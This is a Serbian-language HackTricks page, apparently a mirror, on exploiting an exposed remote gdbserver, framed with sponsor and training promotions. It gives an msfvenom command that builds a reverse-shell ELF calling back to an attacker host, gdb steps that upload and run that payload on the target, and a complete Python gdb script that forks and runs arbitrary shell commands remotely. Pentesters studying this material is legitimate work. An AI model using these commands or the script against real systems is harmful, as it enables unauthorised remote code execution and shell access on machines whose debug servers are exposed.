mirror of
https://github.com/carlospolop/hacktricks
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216 lines
8 KiB
Markdown
216 lines
8 KiB
Markdown
# Testiranje penetracije udaljenog GdbServera
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Drugi načini podrške HackTricks-u:
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* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
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* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
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**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje penetracije**. Pokrenite kompletan pentest odakle god sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se.
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{% embed url="https://pentest-tools.com/" %}
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## **Osnovne informacije**
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**gdbserver** je alat koji omogućava udaljeno debugovanje programa. Pokreće se zajedno sa programom koji zahteva debugovanje na istom sistemu, poznatom kao "cilj". Ova postavka omogućava **GNU Debugger-u** da se poveže sa drugom mašinom, "domaćinom", gde se čuva izvorni kod i binarna kopija debugovanog programa. Veza između **gdbserver-a** i debugger-a može se uspostaviti preko TCP-a ili serijske linije, što omogućava raznovrsne postavke za debugovanje.
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Možete naterati **gdbserver da osluškuje na bilo kom portu** i trenutno **nmap nije sposoban da prepozna servis**.
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## Eksploatacija
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### Postavljanje i Izvršavanje
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Možete lako kreirati **elf backdoor sa msfvenom**, otpremiti ga i izvršiti:
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```bash
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# Trick shared by @B1n4rySh4d0w
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msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
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chmod +x binary.elf
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gdb binary.elf
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# Set remote debuger target
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target extended-remote 10.10.10.11:1337
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# Upload elf file
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remote put binary.elf binary.elf
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# Set remote executable file
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set remote exec-file /home/user/binary.elf
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# Execute reverse shell executable
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run
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# You should get your reverse-shell
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```
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### Izvršavanje proizvoljnih komandi
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Postoji još jedan način da **naterate debugger da izvrši proizvoljne komande putem** [**python prilagođenog skripta preuzetog sa ovog linka**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
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```bash
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# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
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target extended-remote 192.168.1.4:2345
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# Load our custom gdb command `rcmd`.
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source ./remote-cmd.py
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# Change to a trusty binary and run it to load it
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set remote exec-file /bin/bash
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r
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# Run until a point where libc has been loaded on the remote process, e.g. start of main().
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tb main
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r
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# Run the remote command, e.g. `ls`.
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rcmd ls
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```
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Prvo **kreirajte lokalno ovaj skript**:
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{% code title="remote-cmd.py" %}
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```python
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#!/usr/bin/env python3
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import gdb
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import re
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import traceback
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import uuid
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class RemoteCmd(gdb.Command):
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def __init__(self):
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self.addresses = {}
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self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
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gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
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gdb.execute("set detach-on-fork off")
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gdb.execute("set follow-fork-mode parent")
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gdb.execute("set max-value-size unlimited")
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gdb.execute("set pagination off")
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gdb.execute("set print elements 0")
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gdb.execute("set print repeats 0")
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super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
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def preload(self):
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for symbol in [
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"close",
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"execl",
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"fork",
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"free",
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"lseek",
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"malloc",
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"open",
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"read",
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]:
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self.load(symbol)
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def load(self, symbol):
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if symbol not in self.addresses:
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address_string = gdb.execute(f"info address {symbol}", to_string=True)
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match = re.match(
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f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
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)
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if match and len(match.groups()) > 0:
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self.addresses[symbol] = match.groups()[0]
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else:
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raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
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return self.addresses[symbol]
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def output(self):
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# From `fcntl-linux.h`
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O_RDONLY = 0
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gdb.execute(
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f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
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)
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# From `stdio.h`
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SEEK_SET = 0
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SEEK_END = 2
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gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
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gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
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if int(gdb.convenience_variable("len")) <= 0:
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gdb.write("No output was captured.")
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return
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gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
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gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
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gdb.execute('printf "%s\\n", (char*) $mem')
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gdb.execute(f'call (int){self.load("close")}($fd)')
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gdb.execute(f'call (int){self.load("free")}($mem)')
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def invoke(self, arg, from_tty):
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try:
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self.preload()
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is_auto_solib_add = gdb.parameter("auto-solib-add")
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gdb.execute("set auto-solib-add off")
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parent_inferior = gdb.selected_inferior()
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gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
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child_pid = gdb.convenience_variable("child_pid")
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child_inferior = list(
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filter(lambda x: x.pid == child_pid, gdb.inferiors())
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)[0]
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gdb.execute(f"inferior {child_inferior.num}")
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try:
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gdb.execute(
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f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
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)
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except gdb.error as e:
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if (
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"The program being debugged exited while in a function called from GDB"
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in str(e)
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):
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pass
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else:
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raise e
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finally:
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gdb.execute(f"inferior {parent_inferior.num}")
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gdb.execute(f"remove-inferiors {child_inferior.num}")
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self.output()
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except Exception as e:
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gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
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raise e
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finally:
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gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
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RemoteCmd()
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```
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{% endcode %}
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<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
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**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
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{% embed url="https://pentest-tools.com/" %}
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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|
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Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
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* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
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</details>
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